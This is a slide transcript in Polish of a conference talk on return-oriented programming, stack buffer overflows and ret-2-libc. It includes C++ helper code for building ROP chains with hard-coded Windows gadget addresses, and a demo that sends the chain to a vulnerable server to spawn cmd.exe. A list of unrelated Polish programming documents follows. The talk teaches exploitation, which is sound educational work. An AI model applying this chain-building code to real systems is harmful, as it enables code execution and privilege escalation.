Return-oriented exploiting
|
|
- Magdalena Kosińska
- 6 lat temu
- Przeglądów:
Transkrypt
1 HISPASEC Return-oriented exploiting by Gynvael Coldwind
2 Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi bloga technicznego ( - team Vexillium ( Return-oriented exploiting 2 /
3 Menu 1. Przypomnienie tematyki BO 2. Problem niewykonywalnego stosu 3. Enter teh ret-2-libc 4. Do czego wracać? 5. Pseudo-język pseudo-skryptowy 6. Skoki warunkowe i pętle 7. Luźne rozważania Czas na pytania Return-oriented exploiting 3 /
4 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci śmieci śmieci... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 4 /
5 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 5 /
6 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci ESP śmieci buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 6 /
7 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 7 /
8 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 8 /
9 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 9 /
10 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 10 /
11 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 11 /
12 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer ESP argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 12 /
13 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 13 /
14 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... PROGRAM EIP = 0x (AAAA) Return-oriented exploiting 14 /
15 Stack Buffer Overflow Wystarczy zmienić dwie rzeczy w prezentowanym przykładzie aby wykonać dowolny, dostarczony przez atakującego, kod: 1. Shellcode w buforze lub po adresie RET 2. Nadpisanie RET adresem shellcode'u Return-oriented exploiting 15 /
16 Przeciwdziałanie skutkom BO 1. Losowy adres stosu Return-oriented exploiting 16 /
17 Przeciwdziałanie skutkom BO 1. Losowy adres stosu 2. Niewykonywalny stos (NX/XD) Return-oriented exploiting 17 /
18 Enter teh ret-2-libc return to libc technika wykorzystywania stack buffer overflow polegająca na użyciu istniejącego kodu zawartego w bibliotekach oraz w samej aplikacji Return-oriented exploiting 18 /
19 Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc ( Return-oriented exploiting 19 /
20 Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc ( Rok 2001: Artykuł Nergal'a w Phrack 0x3a The advanced return-into-lib(c) exploits ( Return-oriented exploiting 20 /
21 Enter teh ret-2-libc Rok 2008: Erik Buchanan, Ryan Roemer, Stefan Savage i Hovav Shacham z University of California Return-oriented BlackHat ( Return-oriented exploiting 21 /
22 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp Return-oriented exploiting 22 /
23 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) Return-oriented exploiting 23 /
24 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) 2. Nadpisz RET adresem tej instrukcji (zakładając że shellcode jest po RET) Return-oriented exploiting 24 /
25 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 Vista kernel32.dll 1 0 Vista ntdll.dll 3 2 Vista gdi32.dll 1 2 Vista user32.dll Return-oriented exploiting 25 /
26 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 XP2 user32.dll XP2 kernel32.dll 0 2 XP2 ntdll.dll 1 3 XP3 kernel32.dll 1 2 Return-oriented exploiting 26 /
27 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 OSX Foundation ~306 ~354 OSX CoreFoundation ~153 ~93 Return-oriented exploiting 27 /
28 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 libc so linux-gate.so.1 1* 0* Return-oriented exploiting 28 /
29 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA RET argc argv envp śmieci Return-oriented exploiting 29 /
30 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() argc argv envp śmieci Return-oriented exploiting 30 /
31 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() argv envp śmieci Return-oriented exploiting 31 /
32 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci Return-oriented exploiting 32 /
33 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci EIP = instrukcja ret w main() Return-oriented exploiting 33 /
34 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() exit() adres /bin /sh\0 śmieci EIP = system( /bin/sh ) Return-oriented exploiting 34 /
35 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() ESP exit() adres /bin /sh\0 śmieci EIP = exit(0x6e69622f) Return-oriented exploiting 35 /
36 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos Wniosek: Atakujący spowodował uruchomienie shell'a, mimo iż CPU nie wykonał żadnej instrukcji dostarczonej przez atakującego! Return-oriented exploiting 36 /
37 Do czego wracać? ret-2-??? Return-oriented exploiting 37 /
38 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! Return-oriented exploiting 38 /
39 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) Return-oriented exploiting 39 /
40 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application Return-oriented exploiting 40 /
41 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data Return-oriented exploiting 41 /
42 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers Return-oriented exploiting 42 /
43 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory Return-oriented exploiting 43 /
44 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory - ret-2-mapped-files Return-oriented exploiting 44 /
45 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-anything Return-oriented exploiting 45 /
46 Do czego wracać? Do czego warto wracać? Return-oriented exploiting 46 /
47 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X Return-oriented exploiting 47 /
48 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr Return-oriented exploiting 48 /
49 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr dowolna analogiczna sekwencja Return-oriented exploiting 49 /
50 Do czego wracać?!!! WAŻNE!!! Oprócz sekwencji celowo zakończonych opcodem RET (C3) lub RETN (C2) możemy powracać również do sekwencji w których wystąpienie C3/C2 jest przypadkowe! Return-oriented exploiting 50 /
51 Do czego wracać? Przykład: mov eax, 0x0000C358 Return-oriented exploiting 51 /
52 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C Return-oriented exploiting 52 /
53 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C mov eax, 0x0000C358 Return-oriented exploiting 53 /
54 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C mov eax, 0x0000C358 pop eax ret Return-oriented exploiting 54 /
55 Do czego wracać? Wyszukiwanie sekwencji... Return-oriented exploiting 55 /
56 Do czego wracać? Wyszukiwanie sekwencji... Dla każdego bajtu: 1. Jeżeli bajt jest równy C3 lub C2: 1.1. Cofnij się o 10 bajtów 1.2. Zdisassembluj instrukcje 1.3. Idź do nastepnego bajtu 1.4. Jeżeli nie dotarłeś jeszcze do C3/C2, idź do punktu Idź do następnego bajtu Return-oriented exploiting 56 /
57 Do czego wracać? Wyszukiwanie sekwencji... Należy wykonać zaprezentowany algorytm dla każdego obszaru pamięci wykonywalnej atakowanej aplikacji. Wynikiem działania algorytmu jest lista sekwencji instrukcji i ich adresów. Return-oriented exploiting 57 /
58 Do czego wracać? DEMO 01 i 02 Return-oriented exploiting 58 /
59 Do czego wracać? Co ciekawego znalazł rta_finder.exe? Return-oriented exploiting 59 /
60 Do czego wracać? Co ciekawego znalazł rta_finder.exe? a0c (2) POP ECX RET SetECX(a) 6678a0c2 a Return-oriented exploiting 60 /
61 Do czego wracać? Co ciekawego znalazł rta_finder.exe? c3cb2a ---- (2) POP EDX RET SetEDX(a) 77c3cb2a a Return-oriented exploiting 61 /
62 Do czego wracać? Co ciekawego znalazł rta_finder.exe? c33c (3) MOV [EDX], ECX RET Poke(a,b) SetECX(a) SetECX(b) 77c33c42 Return-oriented exploiting 62 /
63 Pseudo-język pseudo-skryptowy Ułatwiamy sobie tworzenie exploitów! Potrzebne będą: - Komplikator języka C++ - Nasz ulubiony edytor Return-oriented exploiting 63 /
64 Pseudo-język pseudo-skryptowy vector<dword> exploit; exploit.resize(20); #define ADDR_SETECX 0x6678a0c1 void SetECX(DWORD a) { exploit.push_back(addr_setecx); exploit.push_back(a); } Return-oriented exploiting 64 /
65 Pseudo-język pseudo-skryptowy #define ADDR_SETEDX 0x77c3cb29 void SetEDX(DWORD a) { } exploit.push_back(addr_setedx); exploit.push_back(a); Return-oriented exploiting 65 /
66 Pseudo-język pseudo-skryptowy #define ADDR_POKE 0x77c33c40 void Poke(DWORD dst, DWORD a) { } SetECX(a); SetEDX(dst); exploit.push_back(addr_poke); Return-oriented exploiting 66 /
67 Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 67 /
68 Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 68 /
69 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami STOS addr śmieci następny funkcji RET... ESP śmieci arg1 arg2 oczekiwany RET arg EIP = X Return-oriented exploiting 69 /
70 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = addr funkcji Return-oriented exploiting 70 /
71 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = następny RET Return-oriented exploiting 71 /
72 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = arg1 Return-oriented exploiting 72 /
73 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami addr funkcji STOS adres POP x3... ESP śmieci śmieci arg1 arg2 oczekiwany RET arg pop EAX pop EDX pop EBP ret EIP = X Return-oriented exploiting 73 /
74 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji STOS adres POP x3 ESP śmieci arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = addr funkcji Return-oriented exploiting 74 /
75 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EAX Return-oriented exploiting 75 /
76 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EDX Return-oriented exploiting 76 /
77 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 ESP arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EBP Return-oriented exploiting 77 /
78 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami ESP oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = ret Return-oriented exploiting 78 /
79 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany ESP RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = oczekiwany RET Return-oriented exploiting 79 /
80 Pseudo-język pseudo-skryptowy void Call_system(DWORD what) { exploit.push_back( } GetAPIAddress( "msvcrt.dll", "system")); exploit.push_back(addr_setecx); exploit.push_back(what); Return-oriented exploiting 80 /
81 Pseudo-język pseudo-skryptowy DWORD GetAPIAddress( const char *lib, const char *name) { return (DWORD)GetProcAddress( GetModuleHandle(lib), name); } Return-oriented exploiting 81 /
82 Pseudo-język pseudo-skryptowy Exploitujemy server.exe! Quest: Odpalić cmd.exe z prawami usera admin. Return-oriented exploiting 82 /
83 Pseudo-język pseudo-skryptowy exploit.resize(28 / 4); DWORD SomeFreeSpace=0x ; Emit(SomeFreeSpace, "c:\\windows\\system32" "\\cmd.exe\0", 28); Call_system(SomeFreeSpace); Return-oriented exploiting 83 /
84 Pseudo-język pseudo-skryptowy NetSock s; s.connect(" ", 33333); s.write( &exploit[0], exploit.size()*4); s.disconnect(); Return-oriented exploiting 84 /
85 Pseudo-język pseudo-skryptowy DEMO 03 Return-oriented exploiting 85 /
86 Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) struct StrCmp { bool operator()( const char* s1, const char* s2) const { return strcmp( s1, s2 ) < 0; } }; map<const char*, DWORD, StrCmp> labels; Return-oriented exploiting 86 /
87 Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) void Label(const char *label) { labels[strdup(label)] = exploit.size() * 4; } Return-oriented exploiting 87 /
88 Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) e942dd ---- (2) ADD ESP, [EBX] RET Return-oriented exploiting 88 /
89 Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) void Jump(const char *label) { DWORD Current = (exploit.size() + 8) * 4; DWORD RelJump = labels[label] - Current; Poke(SOME_FREE_SPACE, RelJump); SetEBX(SOME_FREE_SPACE); exploit.push_back(addr_addesppebx); } Return-oriented exploiting 89 /
90 Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): Label("start"); Jump("start"); Return-oriented exploiting 90 /
91 Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): DEMO 04 Return-oriented exploiting 91 /
92 Skoki i pętle Skoki w przód: Należy zrobić dwuprzebiegową kompilacje, z opóźnionym uzupełnianiem exploita. Wywołanie funkcji i niszczenie stosu: Funkcje korzystając ze stosu niszczą go, przez co przeplatanie pętli z wywołaniami funkcji jest utrudnione. Return-oriented exploiting 92 /
93 Skoki i pętle Skoki warunkowe: Nie możemy używać Jcc (jnz, jne, etc) ponieważ Jcc zmienia EIP a nie ESP! Co zamiast Jcc? Return-oriented exploiting 93 /
94 Skoki i pętle SETcc i trochę matematyki! :) Return-oriented exploiting 94 /
95 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 Return-oriented exploiting 95 /
96 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B B B Return-oriented exploiting 96 /
97 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL B B 0 1 Return-oriented exploiting 97 /
98 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX B B 0 1 FFFFFFFF 0 Return-oriented exploiting 98 /
99 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX B B 0 1 FFFFFFFF 0 0 FFFFFFFF Return-oriented exploiting 99 /
100 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 0 FFFFFFFF 0 A Return-oriented exploiting 100/
101 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 ADD ESP, EAX 0 FFFFFFFF 0 A Return-oriented exploiting 101/
102 Skoki i pętle Zamiast TEST i SETcc można pobrać rejestr EFLAGS i na nim operować. (Return-oriented BH 2008) Return-oriented exploiting 102/
103 Luźne rozważania... A tak naprawdę wystarczy zapis do pamięci... (VirtualAlloc, rozpakowanie kodu, RET) Return-oriented exploiting 103/
104 Luźne rozważania... Anty ret-2-anything czyli ASLR: Vista vs OS X vs Linux-based Return-oriented exploiting 104/
105 Luźne rozważania... A gdyby tak użyć ret-2-anything jako zabezpieczenie przed RE? (trace) Return-oriented exploiting 105/
106 Luźne rozważania... Kompilacja C/Pascala/Javy do RTA? Return-oriented exploiting 106/
107 The End Dziękuje za uwagę! Czas na pytania ;> -=(* -=(* blog *)= Return-oriented exploiting 107/
Programowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie
Bardziej szczegółowoPrzepełnienie bufora i łańcuchy formatujace
Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl
Bardziej szczegółowoProgramowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,
Bardziej szczegółowoĆwiczenie 3. Konwersja liczb binarnych
1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się
Bardziej szczegółowoBuffer Overflow (art. 2) by h07 (h07@interia.pl)
Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania
Bardziej szczegółowoProgramowanie w asemblerze Aspekty bezpieczeństwa
Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr
Bardziej szczegółowoProgramowanie niskopoziomowe
Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym
Bardziej szczegółowo4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24
Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.
Bardziej szczegółowoMetody Realizacji Języków Programowania
Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi
Bardziej szczegółowoBuffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)
Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje
Bardziej szczegółowoPraktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.
Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać
Bardziej szczegółowox86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010
x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010 O mnie Reverse engineer @ Hispasec Vulnerability researcher Vexillium (http://vexillium.org)
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.
Bardziej szczegółowoBłędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)
Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący)
Bardziej szczegółowoOmijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,
Bardziej szczegółowoHISPASEC. Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych. by Gynvael Coldwind
HISPASEC Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej
Bardziej szczegółowoArchitektura komputerów
Architektura komputerów Wykład 10 Jan Kazimirski 1 Programowanie w assemblerze x86 c.d. 2 Funkcje systemowe System operacyjny UNIX udostępnia programom usługi za pomocą funkcji systemowych (syscall). Liczba
Bardziej szczegółowoPobieranie argumentów wiersza polecenia
Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:
Bardziej szczegółowoParę słów o przepełnieniu bufora.
Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE
PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 Wprowadzenie
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.
Bardziej szczegółowoZadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów
Operacje na stosie Stos jest obszarem pamięci o dostępie LIFO (Last Input First Output). Adresowany jest niejawnie przez rejestr segmentowy SS oraz wskaźnik wierzchołka stosu SP. Używany jest do przechowywania
Bardziej szczegółowoAssembler w C++ Syntaksa AT&T oraz Intela
Ponownie dodaję artykuł zahaczający o temat assemblera. Na własnej skórze doświadczyłem dzisiaj problemów ze wstawką assemblerową w kodzie C++, dlatego postanowiłem stworzyć artykuł, w którym zbiorę w
Bardziej szczegółowo002 Opcode Strony projektu:
ReverseCraft assem bler by gynvael.coldwind//vx Opcode Strony projektu: http://re.coldwind.pl/ http://www.uw-team.org/ Zasoby! czyli co możemy użyć... Instrukcje procesora Pamięć Wirtualna Rejestry CPU
Bardziej szczegółowoJęzyk ludzki kod maszynowy
Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza
Bardziej szczegółowoProgramowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27
Programowanie w C++ Wykład 5 Katarzyna Grzelak 16 kwietnia 2018 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27 Pojęcia z poprzednich wykładów Tablica to ciag obiektów tego samego typu, zajmujacy ciagły
Bardziej szczegółowoWstęp do Programowania, laboratorium 02
Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite
Bardziej szczegółowoStruktury. Przykład W8_1
Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla
Bardziej szczegółowoLaboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.
